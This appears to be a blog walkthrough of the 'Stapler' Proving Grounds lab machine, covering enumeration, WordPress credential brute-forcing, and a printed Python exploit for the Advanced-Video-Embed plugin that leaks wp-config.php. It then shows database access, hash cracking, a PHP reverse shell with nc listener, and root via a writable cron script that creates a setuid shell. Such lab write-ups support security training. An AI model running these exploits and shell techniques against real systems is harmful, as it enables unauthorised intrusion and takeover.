Proving grounds Play: Stapler

- 9 mins


21/tcp    open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp    open  tcpwrapped
80/tcp    open  http        PHP cli server 5.5 or later
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 404 Not Found
139/tcp   open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open  doom?
3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 9
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolOld, LongColumnFlag, ConnectWithDatabase, InteractiveClient, SupportsLoadDataLocal, SupportsCompression, ODBCClient, FoundRows, LongPassword, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Tim, we need to-do better next year for Initech
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)

21/tcp - open ftp - vsftpd 2.0.8 or later

ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             107 Jun 03  2016 note

Nothing but a note.

80/tcp - open http - PHP cli server 5.5 or later

[21:55:29] 200 -  220B  - /.bash_logout
[21:55:29] 200 -    4KB - /.bashrc
[21:55:43] 200 -  675B  - /.profile

Nothing but few files.

139/tcp - open - netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	kathy           Disk      Fred, What are we doing here?
	tmp             Disk      All temporary files should be stored here
	IPC$            IPC       IPC Service (red server (Samba, Ubuntu))

SMB shares.

12380/tcp - open http - Apache httpd 2.4.18 ((Ubuntu))



No directories, anything.


User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/



Perform wpscan to enumerate themes, plugins and users.

wpscan --url <URL> --enumerate p --enumerate t --enumerate u

Brute Force wordpress credentials

wpscan --url --disable-tls-checks -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt

Unfortunately none of the above users are administrators, we need admin account to get initial foothold.

More Recon


The plugin advanced-video-embed is vulnerable to WordPress Plugin Advanced Video 1.0 - Local File Inclusion.


Use the below exploit code, the one in the above throws ssl error due to the target website configuration.

#!/usr/bin/env python

# Exploit Title: Advanced-Video-Embed Arbitrary File Download / Unauthenticated Post Creation
# Google Dork: N/A
# Date: 04/01/2016
# Exploit Author: evait security GmbH
# Vendor Homepage: arshmultani -
# Software Link:
# Version: 1.0
# Tested on: Linux Apache / Wordpress 4.2.2


# Exploit - Print the content of wp-config.php in terminal (default Wordpress config)

import random
import urllib2
import re
import ssl

ssl._create_default_https_context = ssl._create_unverified_context
url = "" # insert url to wordpress

randomID = long(random.random() * 100000000000000000L)

objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content =  objHtml.readlines()
for line in content:
	numbers = re.findall(r'\d+',line)
	id = numbers[-1]
	id = int(id) / 10

objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content:
	if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
		urls=re.findall('"(https?://.*?)"', line)
		print urllib2.urlopen(urls[0]).read()

Add the url as per the target page and run the python code. Upon successfull running of the exploit direct to URL and find there is a image file located.

Download the image and use grep to search for string password. The exploit extracts the wp-config.php file contents as images file.

define('DB_USER', 'root');
define('DB_PASSWORD', 'plbkac')

Login to sql server using the credentials and extract wordpress username and hash of an administrative user.

3306/tcp - open mysql - MySQL 5.7.12-0ubuntu1

Login the to sql server using the above extracted credentials.

naveenj@hackerspace:|01:27|~/proving_grounds/Stapler/files/img$ mysql -u root -pplbkac -h
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 5.7.12-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
| Database           |
| information_schema |
| loot               |
| mysql              |
| performance_schema |
| phpmyadmin         |
| proof              |
| sys                |
| wordpress          |
8 rows in set (0.226 sec)

MySQL [(none)]> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [wordpress]> show tables;
| Tables_in_wordpress   |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
11 rows in set (0.199 sec)

MySQL [wordpress]> select * from wp_users;
16 rows in set (0.192 sec)

MySQL [wordpress]> 

Extract the hash of the user john:$P$B7889EMq/erHIuZapMB8GEizebcIy9. who is a administrative user.

Use john to crack the hash.

naveenj@hackerspace:|23:22|~/proving_grounds/Stapler/files$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
incorrect        (?)     
1g 0:00:00:09 DONE (2023-10-01 23:22) 0.1028g/s 19022p/s 19022c/s 19022C/s ireland4..iloveaj2
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.

Now login to worpress using credentials john:incorrect.

Direct to Plugins ➡️ Add New ➡️ Upload Plugin .

Download pentest monkey PHP reverse shell and make changes accordingly and select the file to upload and Click Install Now.


Once it’s uploaded direct to and trigger the reverse shell.

naveenj@hackerspace:|01:34|~/proving_grounds/Stapler$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 51462
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 athlon i686 GNU/Linux
 06:34:44 up 32 min,  0 users,  load average: 0.00, 0.01, 0.06
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1408): Inappropriate ioctl for device
bash: no job control in this shell

Initial Foothold Obtained

Privilege Escalation


Check all cronjobs in the machine.

www-data@red:/$ ls -lsaht /etc/cron.*
ls -lsaht /etc/cron.*
total 32K
 12K drwxr-xr-x 100 root root  12K Jun  9  2021 ..
4.0K drwxr-xr-x   2 root root 4.0K Jun  3  2016 .
4.0K -rw-r--r--   1 root root   56 Jun  3  2016 logrotate
4.0K -rw-r--r--   1 root root  102 Jun  3  2016 .placeholder
4.0K -rw-r--r--   1 root root  670 Mar  1  2016 php
4.0K -rw-r--r--   1 root root  589 Jul 16  2014 mdadm

Contents of logrotate file.

www-data@red:/etc/cron.d$ cat logrotate
cat logrotate
*/5 *   * * *   root  /usr/local/sbin/
www-data@red:/etc/cron.d$ ls -al /usr/local/sbin/
ls -al /usr/local/sbin/
-rwxrwxrwx 1 root root 51 Jun  3  2016 /usr/local/sbin/

And the file permission says we can write to it. Write the below exploit to the

www-data@red:/usr/local/sbin$ echo "cp /bin/dash /tmp/dash; chmod u+s /tmp/dash;" > /usr/local/sbin/
</dash; chmod u+s /tmp/dash;" > /usr/local/sbin/ 

So when the cron job run the script as root user the binry dash will be copied to the /tmp folder and u+s permissions are applied. So then we can run the binary as the owner which is root and that will give us root shell.

www-data@red:/tmp$ ls -al
-rwsr-xr-x  1 root root 173644 Oct  2 06:40 dash

The exploit worked and run the binary as follows to obtain root.

www-data@red:/tmp$ ./dash -p
./dash -p
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
python3 -c 'import pty; pty.spawn("/bin/bash")'

Root Obtained

Thanks for reading!

For more insights and updates, follow me on Twitter: @thevillagehacker.

Naveen J

Naveen J

Security Researcher | Appsec Specialist@SISA Information Security | Web 3 Security Enthusiast